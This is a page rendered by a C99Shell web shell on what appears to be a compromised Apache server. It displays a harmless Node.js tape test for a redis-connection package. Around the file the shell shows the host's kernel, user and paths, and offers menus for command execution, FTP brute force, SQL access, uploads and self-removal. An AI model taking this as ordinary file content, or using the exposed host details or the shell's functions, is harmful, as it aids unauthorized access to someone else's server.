!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/wincloud_gateway/node_modules/redis-connection/test/   drwxr-xr-x
Free 12.96 GB of 57.97 GB (22.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     failed_connection.test.js (1.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// See: github.com/dwyl/redis-connection/issues/38
var dir  = __dirname.split('/')[__dirname.split('/').length-1];
var file = dir + __filename.replace(__dirname, '') + " > ";
var test = require('tape');
var decache = require('decache'); // http://goo.gl/JIjK9Y
require('env2')('.env'); // ensure environment variables are loaded
var REDISCLOUD_URL = process.env.REDISCLOUD_URL; // save valid REDISCLOUD_URL

test(file + 'No (fatal) error is thrown when connection fails', function (t) {
  process.env.REDISCLOUD_URL = 'redis://rediscloud:@127.0.0.1:6380'; // bad port
  var redisClient = require('../index.js')(); 

  t.true(redisClient.connected === false, 
    '✓ redisClient.connected: ' + redisClient.connected);

  redisClient.end(true); // close the (failed) connection
  t.end();
});

test(file + 'functional test of report_error()', function (t) {
  var report_error = require('../index.js').report_error; 
  var error = { 
    Error: "Redis connection to 127.0.0.1:6380 failed",
    code: 'ECONNREFUSED',
    errno: 'ECONNREFUSED',
    syscall: 'connect',
    address: '127.0.0.1',
    port: 6380 
  }
  t.true(error === report_error(error), '✓ Error reported: ' + error.code);
  
  var error2 = { syscall: false }; // don't report for non-connection errors
  t.true(error2 === report_error(error2), '✓ Error reported: none');
  t.end();
});

test('restore process.env.REDISCLOUD_URL', function (t) {
  decache('../index.js');
  process.env.REDISCLOUD_URL = REDISCLOUD_URL; // restore valid
  t.ok(process.env.REDISCLOUD_URL
      .indexOf('redis://rediscloud:@127.0.0.1:6380') === -1, '✓ URL Restored')
  t.end()
})

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0215 ]--